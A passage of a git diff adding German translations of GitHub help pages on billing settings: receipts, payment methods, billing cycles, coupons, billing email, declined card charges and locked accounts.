+1. Klicke oben auf der Seite rechts neben deinem Benutzernamen auf **Zu einem anderen Konto wechseln**.
+![Schaltfläche „Kontextschalter“](/assets/images/help/settings/context-switcher-button.png)
+1. Beginne mit der Eingabe des Namens des Kontos, zu dem du wechseln möchten, und klicke dann auf den Namen des Kontos.
+![Menü „Kontextschalter“](/assets/images/help/settings/context-switcher-menu.png)
+1. Klicke in der linken Randleiste auf **{% octicon "credit-card" aria-label="The credit card icon" %} Abrechnung und Pläne**.
+
+## Weiterführende Themen
+
+- [Verwalten der Abrechnung für dein {% data variables.product.prodname_dotcom %}-Konto](/articles/managing-billing-for-your-github-account)
+- [Verwalten der Abrechnung für {% data variables.product.prodname_marketplace %}-Apps](/articles/managing-billing-for-github-marketplace-apps)
+- [Verwalten der Abrechnung für {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)
+- [Verwalten der Abrechnung für {% data variables.product.prodname_sponsors %}](/articles/managing-billing-for-github-sponsors)
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
new file mode 100644
index 0000000000..7cfbaf9f09
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
@@ -0,0 +1,53 @@
+---
+title: Informationen zu Quittungen hinzufügen
+intro: 'Du kannst zusätzliche Informationen zu deinen {% data variables.product.product_name %}-Quittungen hinzufügen, z. B. Steuer- oder Buchhaltungsinformationen, die in deinem Unternehmen oder Land vorgeschrieben sind.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts
+  - /articles/can-i-add-my-credit-card-number-to-my-receipts
+  - /articles/can-i-add-extra-information-to-my-receipts--2
+  - /articles/how-can-i-add-extra-information-to-my-receipts
+  - /articles/could-you-add-my-card-number-to-my-receipts
+  - /articles/how-can-i-add-extra-information-to-my-personal-account-s-receipts
+  - /articles/adding-information-to-your-personal-account-s-receipts
+  - /articles/how-can-i-add-extra-information-to-my-organization-s-receipts
+  - /articles/adding-information-to-your-organization-s-receipts
+  - /articles/adding-information-to-your-receipts
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-information-to-your-receipts
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Receipts
+  - User account
+shortTitle: Add to your receipts
+ms.openlocfilehash: 1b7495e5d23266816ca106defa7b695ff184ea43
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085655'
+---
+Deine Quittungen enthalten dein {% data variables.product.prodname_dotcom %}-Abonnement sowie alle Abonnements für [sonstige bezahlte Funktionen und Produkte](/articles/about-billing-on-github).
+
+{% warning %}
+
+**Warnung:** Aus Gründen der Sicherheit empfehlen wir dringend, keine vertraulichen oder finanzbezogenen Daten (wie Kreditkartennummern) in den Quittungen aufzuführen.
+
+{% endwarning %}
+
+## Informationen zu den Quittungen Deines persönlichen Kontos hinzufügen
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.user-settings.payment-info-link %} {% data reusables.dotcom_billing.extra_info_receipt %}
+
+## Informationen zu den Quittungen Deiner Organisation hinzufügen
+
+{% note %}
+
+**Hinweis**: {% data reusables.dotcom_billing.org-billing-perms %}
+
+{% endnote %}
+
+
+{% data reusables.organizations.billing-settings %} {% data reusables.user-settings.payment-info-link %} {% data reusables.dotcom_billing.extra_info_receipt %}
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
new file mode 100644
index 0000000000..eb7ad80ee6
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
@@ -0,0 +1,55 @@
+---
+title: Eine Zahlungsmethode hinzufügen oder bearbeiten
+intro: Du kannst jederzeit eine Zahlungsmethode zu Deinem Konto hinzufügen oder die vorhandene Zahlungsmethode für Dein Konto aktualisieren.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method
+  - /articles/updating-your-personal-account-s-payment-method
+  - /articles/how-do-i-update-my-credit-card
+  - /articles/updating-your-account-s-credit-card
+  - /articles/updating-your-personal-account-s-credit-card
+  - /articles/updating-your-personal-account-s-paypal-information
+  - /articles/does-github-provide-invoicing
+  - /articles/switching-payment-methods-for-your-personal-account
+  - /articles/paying-for-your-github-organization-account
+  - /articles/updating-your-organization-s-credit-card
+  - /articles/updating-your-organization-s-paypal-information
+  - /articles/updating-your-organization-s-payment-method
+  - /articles/switching-payment-methods-for-your-organization
+  - /articles/adding-or-editing-a-payment-method
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-or-editing-a-payment-method
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - User account
+shortTitle: Manage a payment method
+ms.openlocfilehash: 1fd85d480a7ed5085b9f142c82314f738fa6ffc6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085652'
+---
+{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %}
+
+Wir bieten keine Abrechnung und unterstützen keine Bestellungen für persönliche Konten. Wir versenden Quittungen monatlich oder jährlich zum Abrechnungsdatum Deines Kontos per E-Mail. Wenn dein Unternehmen, dein Land oder dein*e Buchhalter*in Belege mit weiteren Angaben benötigt, kannst du [deinen Belegen zusätzliche Informationen hinzufügen](/articles/adding-information-to-your-personal-account-s-receipts).
+
+## Die Zahlungsmethode für Dein persönliches Konto aktualisieren
+
+{% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.update_payment_method %}
+1. Wenn in deinem Konto Abrechnungsinformationen hinterlegt sind, die du aktualisieren möchtest, klicke auf **Bearbeiten**.
+![Abrechnung: Die Schaltfläche „Neue Karte“](/assets/images/help/billing/billing-information-edit-button.png) {% data reusables.dotcom_billing.enter-billing-info %}
+1. Wenn bei deinem Konto eine Zahlungsmethode hinterlegt ist, die du aktualisieren möchtest, klicke auf **Bearbeiten**.
+![Abrechnung: Die Schaltfläche „Neue Karte“](/assets/images/help/billing/billing-payment-method-edit-button.png) {% data reusables.dotcom_billing.enter-payment-info %}
+
+## Die Zahlungsmethode für Deine Organisation aktualisieren
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+Wenn sich Deine Organisation außerhalb der USA befindet oder Du zum Bezahlen von {% data variables.product.product_name %} ein Firmenkonto verwendest, bietet sich PayPal als Zahlungsmethode an.
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.update_payment_method %}
+1. Wenn bei deinem Konto eine Kreditkarte hinterlegt ist, die du aktualisieren möchtest, klicke auf **Neue Karte**.
+![Abrechnung: Die Schaltfläche „Neue Karte“](/assets/images/help/billing/billing-new-card-button.png) {% data reusables.dotcom_billing.enter-payment-info %}
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
new file mode 100644
index 0000000000..2b6af62192
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
@@ -0,0 +1,47 @@
+---
+title: Die Dauer des Abrechnungszeitraums ändern
+intro: Für die Bezahlung des Abonnements und anderer bezahlter Features deines Kontos kannst du einen monatlichen oder jährlichen Abrechnungszeitraum auswählen.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle
+  - /articles/monthly-and-yearly-billing
+  - /articles/switching-between-monthly-and-yearly-billing-for-your-personal-account
+  - /articles/switching-between-monthly-and-yearly-billing-for-your-organization
+  - /articles/changing-the-duration-of-your-billing-cycle
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Repositories
+  - User account
+shortTitle: Billing cycle
+ms.openlocfilehash: 164b0192f1b055b95ad83fc2845e9af59058b6a7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085648'
+---
+Wenn du die Dauer deines Abrechnungszeitraums änderst, werden dein {% data variables.product.prodname_dotcom %}-Abonnement und alle weiteren bezahlten Features und Produkte am nächsten Abrechnungsdatum auf den neuen Abrechnungszeitraum umgestellt.
+
+## Die Dauer des Abrechnungszeitraums deines persönlichen Kontos ändern
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.change_plan_duration %} {% data reusables.dotcom_billing.confirm_duration_change %}
+
+## Die Dauer des Abrechnungszeitraums deiner Organisation ändern
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+### Die Dauer eines benutzerabhängigen Abonnements ändern
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.change_plan_duration %} {% data reusables.dotcom_billing.confirm_duration_change %}
+
+### Die Dauer eines alten Repository-abhängigen Plans ändern
+
+{% data reusables.organizations.billing-settings %}
+4. Klicke unter „Abrechnungsübersicht“ auf **Plan ändern**.
+  ![Schaltfläche zum Ändern des Plans in der Abrechnungsübersicht](/assets/images/help/billing/billing_overview_change_plan.png)
+5. Klicke in der oberen rechten Ecke auf **Auf monatliche Abrechnung umstellen** oder **Auf jährliche Abrechnung umstellen**.
+  ![Abschnitt „Abrechnungsinformationen“](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/index.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/index.md
new file mode 100644
index 0000000000..185c0223ba
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/index.md
@@ -0,0 +1,35 @@
+---
+title: Ihre GitHub-Abrechnungseinstellungen verwalten
+shortTitle: Billing settings
+intro: 'Die Abrechnungseinstellungen Deines Kontos gelten für jede kostenpflichtige Funktion und jedes Produkt, das Du zum Konto hinzufügst. Du kannst Einstellungen wie Deine Zahlungsmethode, den Abrechnungszeitraum oder die E-Mail-Adresse für die Abrechnung verwalten. Außerdem kannst du Abrechnungsinformationen anzeigen, beispielsweise dein Abonnement, das Abrechnungsdatum, den Zahlungsverlauf, und alte Quittungen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings
+  - /articles/viewing-and-managing-your-personal-account-s-billing-information
+  - /articles/paying-for-user-accounts
+  - /articles/viewing-and-managing-your-organization-s-billing-information
+  - /articles/paying-for-organization-accounts
+  - /categories/paying-for-organization-accounts/articles
+  - /categories/99/articles
+  - /articles/managing-your-github-billing-settings
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-on-github
+  - /viewing-your-subscriptions-and-billing-date
+  - /adding-or-editing-a-payment-method
+  - /viewing-your-payment-history-and-receipts
+  - /adding-information-to-your-receipts
+  - /setting-your-billing-email
+  - /changing-the-duration-of-your-billing-cycle
+  - /redeeming-a-coupon
+  - /troubleshooting-a-declined-credit-card-charge
+  - /unlocking-a-locked-account
+ms.openlocfilehash: 6b9d87e20022431675c949132c9a84a23650abe7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085644'
+---
+
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
new file mode 100644
index 0000000000..1230f83d33
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
@@ -0,0 +1,45 @@
+---
+title: Gutschein einlösen
+intro: 'Falls du einen Gutschein hast, kansst du ihn für ein {% data variables.product.prodname_dotcom %}-Abonnement einlösen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon
+  - /articles/where-do-i-add-a-coupon-code
+  - /articles/redeeming-a-coupon-for-your-personal-account
+  - /articles/redeeming-a-coupon-for-organizations
+  - /articles/redeeming-a-coupon
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/redeeming-a-coupon
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Discounts
+  - Fundamentals
+  - Organizations
+  - User account
+ms.openlocfilehash: 8b1c0c9b250994e4186371c74a4bc97e7609770d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085640'
+---
+{% data variables.product.product_name %} kann für eine Zahlung, die vor dem Einlösen eines Gutscheins erfolgt, keine Rückerstattung gewähren. Auch kann ein eingelöster Gutschein weder übertragen noch erneut ausgestellt werden, wenn Du ihn auf das falsche Konto anwendest. Vergewissere Dich daher vor dem Einlösen eines Gutscheins, dass Du ihn für das richtige Konto verwendest.
+
+{% data reusables.dotcom_billing.coupon-expires %}
+
+Gutscheine können nicht auf bezahlte Pläne für {% data variables.product.prodname_marketplace %}-Apps angewendet werden.
+
+## Gutschein für Dein persönliches Konto einlösen
+
+{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
+4. Klicke unter „Gutschein einlösen“ neben dem Benutzernamen deines *persönlichen* Kontos auf **Auswählen**.
+   ![Schaltfläche „Auswählen“](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png) {% data reusables.dotcom_billing.redeem_coupon %}
+
+## Gutschein für Deine Organisation einlösen
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
+4. Klicke unter „Gutschein einlösen“ neben der *Organisation*, für die du den Gutschein einlösen möchtest, auf **Auswählen**. Wenn du den Gutschein für eine neue Organisation einsetzen möchtest, die noch nicht erstellt wurde, klicke auf **Neue Organisation erstellen**.
+   ![Schaltfläche „Auswählen“](/assets/images/help/settings/redeem-coupon-choose-button.png) {% data reusables.dotcom_billing.redeem_coupon %}
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
new file mode 100644
index 0000000000..c6b8f2c67b
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
@@ -0,0 +1,120 @@
+---
+title: E-Mail-Adresse für die Abrechnung festlegen
+intro: 'Die E-Mail-Adresse deines Kontos für die Abrechnung ist die Adresse, an die {% data variables.product.product_name %} Quittungen und andere Benachrichtigungen zur Abrechnung sendet.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email
+  - /articles/setting-your-personal-account-s-billing-email
+  - /articles/can-i-change-what-email-address-received-my-github-receipt
+  - '/articles/how-do-i-change-the-billing-email,setting-your-billing-email'
+  - /articles/setting-your-organization-s-billing-email
+  - /articles/setting-your-billing-email
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/setting-your-billing-email
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - User account
+shortTitle: Billing email
+ms.openlocfilehash: 35b340a697bafd0c7e3047983496b71048cbe0ac
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085639'
+---
+## E-Mail-Adresse für die Abrechnung für dein persönliches Konto festlegen
+
+{% data variables.product.product_name %} sendet Quittungen und andere Benachrichtigungen zur Abrechnung an die primäre E-Mail-Adresse deines persönlichen Kontos.
+
+Deine primäre E-Mail-Adresse ist die erste E-Mail-Adresse, die in den E-Mail-Einstellungen deines Kontos aufgeführt ist.
+Die primäre E-Mail-Adresse deines Kontos wird auch als E-Mail-Adresse für die Abrechnung verwendet.
+
+Wenn du deine E-Mail-Adresse für die Abrechnung ändern möchtest, lies [Ändern deiner primären E-Mail-Adresse](/articles/changing-your-primary-email-address).
+
+## E-Mail-Adresse für die Abrechnung für deiner Organisation festlegen
+
+{% data variables.product.product_name %} sendet Quittungen und andere Benachrichtigungen zur Abrechnung an die für deine Organisation festgelegte E-Mail-Adresse für die Abrechnung. Die E-Mail-Adresse muss nicht für das Organisationskonto eindeutig sein.
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %}
+1. Klicke unter „Abrechnungsverwaltung“ rechts neben der E-Mail-Adresse für die Abrechnung auf **Bearbeiten**.
+  ![Aktuelle E-Mail-Adressen für die Abrechnung](/assets/images/help/billing/billing-change-email.png)
+2. Gib eine gültige E-Mail-Adresse ein, und klicke dann auf **Aktualisieren**.
+  ![Ändern der modalen E-Mail-Adresse der Abrechnung](/assets/images/help/billing/billing-change-email-modal.png)
+
+## Verwalten zusätzlicher Empfänger*innen für die E-Mail-Adresse für die Abrechnung deiner Organisation
+
+Wenn es in deiner Organisation Benutzer*innen gibt, die Abrechnungsberichte erhalten möchten, kannst du ihre E-Mail-Adressen als E-Mail-Empfänger*innen für die Abrechnung hinzufügen. Dieses Feature ist nur für Organisationen verfügbar, die nicht von einem Unternehmen verwaltet werden.
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+### Hinzufügen von Empfänger*innen für Abrechnungsbenachrichtigungen
+
+{% data reusables.organizations.billing-settings %}
+1. Klicke unter „Abrechnungsverwaltung“ rechts neben „E-Mail-Empfänger“ auf **Hinzufügen**.
+  ![Hinzufügen eines Empfängers](/assets/images/help/billing/billing-add-email-recipient.png)
+1. Gib die Empfänger-E-Mail-Adresse ein, und klicke dann auf **Hinzufügen**.
+  ![Hinzufügen von modalen Empfänger*innen](/assets/images/help/billing/billing-add-email-recipient-modal.png)
+
+### Ändern von primären Empfänger*innen für Abrechnungsbenachrichtigungen
+
+Eine Adresse muss immer als primäre*r Empfänger*in festgelegt werden. Die Adresse mit dieser Bezeichnung kann erst entfernt werden, wenn ein*e neue*r primäre*r Empfänger*in ausgewählt ist.
+
+{% data reusables.organizations.billing-settings %}
+1. Suche unter „Abrechnungsverwaltung“ die E-Mail-Adresse, die du als primäre*n Empfänger*in festlegen möchtest.
+1. Klicke rechts neben der E-Mail-Adresse auf das Dropdownmenü „Bearbeiten“ und dann auf **Als Primär markieren**.
+  ![Markieren von primären Empfänger*innen](/assets/images/help/billing/billing-change-primary-email-recipient.png)
+
+### Entfernen von Empfänger*innen aus Abrechnungsbenachrichtigungen
+
+{% data reusables.organizations.billing-settings %}
+1. Suche unter „E-Mail-Empfänger“ die E-Mail-Adresse, die du entfernen möchtest.
+1. Klicke für den entsprechenden Eintrag in der Liste auf **Bearbeiten**.
+  ![Bearbeiten von Empfänger*innen](/assets/images/help/billing/billing-edit-email-recipient.png)
+1. Verwende rechts neben der E-Mail-Adresse das Dropdownmenü „Bearbeiten“, und klicke auf **Entfernen**.
+  ![Entfernen von Empfänger*innen](/assets/images/help/billing/billing-remove-email-recipient.png)
+1. Überprüfe die Bestätigungsaufforderung, und klicke dann auf **Entfernen**.
+
+{% ifversion ghec %}
+## Festlegen der E-Mail-Adresse für die Abrechnung für dein Unternehmen
+
+Die für die Abrechnung verwendete E-Mail-Adresse deines Unternehmens ist die Adresse, an die {% data variables.product.product_name %} Belege und andere Benachrichtigungen zu deiner Abrechnung sendet. Die E-Mail-Adresse muss nicht für das Unternehmenskonto eindeutig sein.
+
+Nur Unternehmensmitglieder mit der Rolle „Besitzer“ oder „Abrechnungsmanager“ können auf Abrechnungseinstellungen für dein Unternehmen zugreifen oder diese ändern. Weitere Informationen findest du unter [Verwalten von Benutzer*innen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+1. Klicke auf **Abrechnungs-E-Mails**. 
+2. Klicke unter „E-Mail-Empfänger“ rechts neben der Abrechnungs-E-Mail-Adresse auf **Bearbeiten**.
+  ![Screenshot der aktuellen Abrechnungs-E-Mail mit hervorgehobener Schaltfläche „Bearbeiten“](/assets/images/help/billing/billing-change-email.png)
+2. Gib eine gültige E-Mail-Adresse ein, und klicke dann auf **Aktualisieren**.
+  ![Screenshot des modalen Fensters zum Bearbeiten der E-Mail-Adresse für die Abrechnung mit einer eingegebenen Beispiel-E-Mail-Adresse](/assets/images/help/billing/billing-change-email-modal.png)
+
+## Verwalten zusätzlicher Empfänger*innen für die Abrechnungs-E-Mail deines Unternehmens
+
+Wenn es in deiner Organisation Benutzer*innen gibt, die Abrechnungsberichte erhalten möchten, kannst du ihre E-Mail-Adressen als E-Mail-Empfänger*innen für die Abrechnung hinzufügen. 
+
+Nur Unternehmensmitglieder mit der Rolle „Besitzer“ oder „Abrechnungsmanager“ können auf Abrechnungseinstellungen für dein Unternehmen zugreifen oder diese ändern. Weitere Informationen findest du unter [Verwalten von Benutzer*innen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
+
+### Hinzufügen von Empfänger*innen für Abrechnungsbenachrichtigungen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+1. Klicke auf **Abrechnungs-E-Mails**. 
+2. Klicke unter „E-Mail-Empfänger“ rechts neben der Abrechnungs-E-Mail-Adresse auf **Hinzufügen**.
+   ![Screenshot der aktuellen Abrechnungs-E-Mail mit hervorgehobener Schaltfläche „Hinzufügen“](/assets/images/help/billing/billing-add-email-recipient.png)
+3. Gib die Empfänger-E-Mail-Adresse ein, und klicke dann auf **Hinzufügen**.
+   ![Screenshot des modalen Fensters zum Hinzufügen der E-Mail-Adresse für die Abrechnung ohne einer eingegebenen Beispiel-E-Mail-Adresse](/assets/images/help/billing/billing-add-email-recipient-modal.png)
+
+### Entfernen von Empfänger*innen aus Abrechnungsbenachrichtigungen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+1. Klicke auf **Abrechnungs-E-Mails**. 
+2. Suche unter „E-Mail-Empfänger“ die E-Mail-Adresse, die du entfernen möchtest.
+3. Klicke für den entsprechenden Eintrag in der Liste auf **Bearbeiten**.
+   ![Screenshot der Empfänger-E-Mail-Adresse mit hervorgehobener Schaltfläche „Bearbeiten“](/assets/images/help/billing/billing-edit-email-recipient.png)
+4. Verwende rechts neben der E-Mail-Adresse das Dropdownmenü „Bearbeiten“, und klicke auf **Entfernen**.
+   ![Screenshot der Empfänger-E-Mail-Adresse mit hervorgehobener Schaltfläche „Entfernen“](/assets/images/help/billing/billing-remove-email-recipient.png)
+5. Überprüfe die Bestätigungsaufforderung, und klicke dann auf **Entfernen**.
+{% endif %}
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
new file mode 100644
index 0000000000..fca3a1f930
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
@@ -0,0 +1,43 @@
+---
+title: Fehlerbehebung bei einer abgelehnten Kreditkartenbelastung
+intro: 'Wenn die Kreditkarte, die du für die Zahlung der Nutzung von {% data variables.product.product_name %} angegeben hast, abgelehnt wird, hast du verschiedene Möglichkeiten, sicherzustellen, dass die Zahlung erfolgt und dein Konto nicht gesperrt wird.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge
+  - /articles/what-do-i-do-if-my-card-is-declined
+  - /articles/troubleshooting-a-declined-credit-card-charge
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Troubleshooting
+shortTitle: Declined credit card charge
+ms.openlocfilehash: 44ed836d24e23ceb7e805cccdad6e70203381bf5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884221'
+---
+Bei einer Ablehnung Deiner Kreditkarte senden wir Dir eine E-Mail mit dem Grund der Ablehnung. Du hast dann einige Tage Zeit, das Problem zu beheben, bevor wir erneut versuchen, Deine Kreditkarte zu belasten.
+
+## Überprüfen das Gültigkeitsdatum Deiner Kreditkarte
+
+Wenn Deine Kreditkarte nicht mehr gültig ist, musst Du die Zahlungsinformationen Deines Kontos aktualisieren. Weitere Informationen findest du unter [Hinzufügen oder Bearbeiten einer Zahlungsmethode](/articles/adding-or-editing-a-payment-method).
+
+## Überprüfe die Richtlinien Deiner Bank zu Kreditkarteneinschränkungen
+
+Einige internationale Bankinstitute schränken internationale, E-Commerce- und automatisch wiederkehrende Transaktionen ein. Bei Problemen mit einer Zahlung mit Deiner internationalen Kreditkarte erkundige Dich bei Deiner Bank nach geltenden Einschränkungen für Deine Kreditkarte.
+
+Wir unterstützen auch die Zahlung per PayPal. Weitere Informationen findest du unter [Hinzufügen oder Bearbeiten einer Zahlungsmethode](/articles/adding-or-editing-a-payment-method).
+
+## Frage Deine Bank nach den Transaktionsdetails
+
+Deine Bank kann Dir genau sagen, weshalb eine Zahlung abgelehnt wurde. Frage sie bei einer nicht durchgeführten Transaktion nach dem spezifischen Grund. Falls für Deine Karte Einschränkungen gelten, bereite vor einem Anruf bei Deiner Bank die folgenden Informationen vor:
+
+- **Den Betrag, der dir in Rechnung gestellt wird.** Der Betrag für dein Abonnement wird auf den Belegen deines Kontos angezeigt. Weitere Informationen findest du unter [Anzeigen deines Zahlungsverlaufs und deiner Belege](/articles/viewing-your-payment-history-and-receipts).
+- **Das Datum, an dem dir {% data variables.product.product_name %} eine Rechnung ausstellt.** Das Abrechnungsdatum deines Kontos wird auf deinen Belegen angezeigt.
+- **Die Transaktions-ID-Nummer.** Die Transaktions-ID deines Kontos wird auf deinen Belegen angezeigt.
+- **Namen des Händlers.** Der Händlername ist {% data variables.product.prodname_dotcom %}.
+- **Die Fehlermeldung, die deine Bank mit der abgelehnten Belastung gesendet hat.** Du findest die Fehlermeldung deiner Bank in der E-Mail, die wir dir senden, wenn eine Belastung abgelehnt wird.
diff --git a/translations/de-DE/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/de-DE/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
new file mode 100644
index 0000000000..b81bf2a07a
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
@@ -0,0 +1,39 @@
+---
+title: Gesperrtes Konto entsperren
+intro: 'Die kostenpflichtigen Funktionen Deiner Organisation sind gesperrt, wenn Deine Zahlung aufgrund von Zahlungsproblemen verspätet ist.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account
+  - /articles/what-happens-if-my-account-is-locked
+  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-owe-anything-for-previous-time
+  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-pay-backcharges
+  - /articles/what-happens-if-my-repository-is-locked
+  - /articles/unlocking-a-locked-personal-account
+  - /articles/unlocking-a-locked-organization-account
+  - /articles/unlocking-a-locked-account
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/unlocking-a-locked-account
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Downgrades
+  - Organizations
+  - User account
+shortTitle: Locked account
+ms.openlocfilehash: e9b51d82dcd2f184003add575338625ea01fa1df
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085635'
+---
+Du kannst Dein Konto entsperren und wieder darauf zugreifen, indem Du die Zahlungsmethode Deiner Organisation aktualisierst und den Status "bezahlt" wieder erlangst. Für den Zeitraum im gesperrten Modus fallen keine Gebühren an.
+
+Du kannst Deine Organisation zu {% data variables.product.prodname_free_team %} herunterstufen, um mit den bisherigen erweiterten Funktionen in öffentlichen Repositorys fortzufahren. Weitere Informationen findest du unter [Herabstufen deines {% data variables.product.product_name %}-Abonnements](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription).
+
+## Die aufgrund eines Zahlungsverzugs gesperrten Funktionen einer Organisation freigeben
+
+Wenn die erweiterten Funktionen Deiner Organisation wegen einer abgelehnten Zahlung gesperrt sind, muss Du die Zahlungsinformationen aktualisieren, um eine neue, autorisierte Belastung auszulösen. Weitere Informationen findest du unter [Hinzufügen oder Bearbeiten einer Zahlungsmethode](/articles/adding-or-editing-a-payment-method).
+
